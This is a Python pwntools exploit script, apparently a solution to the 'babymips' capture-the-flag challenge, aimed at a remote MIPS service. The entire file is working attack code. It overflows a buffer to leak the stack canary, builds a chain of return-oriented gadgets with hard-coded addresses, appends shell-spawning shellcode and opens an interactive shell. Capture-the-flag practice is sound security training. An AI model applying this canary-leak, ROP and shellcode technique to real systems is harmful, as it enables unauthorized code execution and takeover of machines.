#!/usr/bin/env python3

from pwn import *
context.arch = 'mips'

# p = gdb.debug("./challenge", gdbscript="b *0x00400864\nc\n")
p = remote("babymips.3k.ctf.to", 7777)
# p = process("./challenge")

log.info("performing stack leak")
p.send("A" * 129)
name = p.recvuntil("your pass")
i = name.index(b"A")
cookie = b"\x00" + name[i+129:i+129+3]
log.info("got cookie %s", cookie)
log.info("performing attack")

pwd = b"dumbasspassword"

payload = (
    pwd + b"B" * (128 - len(pwd))
    + cookie
    + b"CCCC" # main frame - s8
    + p32(0x446d50) # main frame - saved ra to gadget 0
    # next gadget frame
    + b"D"*24
    + p32(1337) # s0
    + p32(1338) # s1
    + p32(0x48f990) # s2 - some readable address needed
    + p32(0x40036c) # s3 - address of last gadget (overwrite by gadget 2)
    + p32(0x464058) # s4 - after next gadget
    + p32(0x4452a8) # ra - next gadget
    # next gadget frame
    + b"E" * 28
    + p32(0x13371337) # entry gadget to call a0 (overwritten by s3)
    + b"\x00" * 24 # final pad before shellcode
)
print(len(payload), 0x200)

sc = asm(shellcraft.mips.sh())
payload += sc

p.send(payload)

p.interactive()
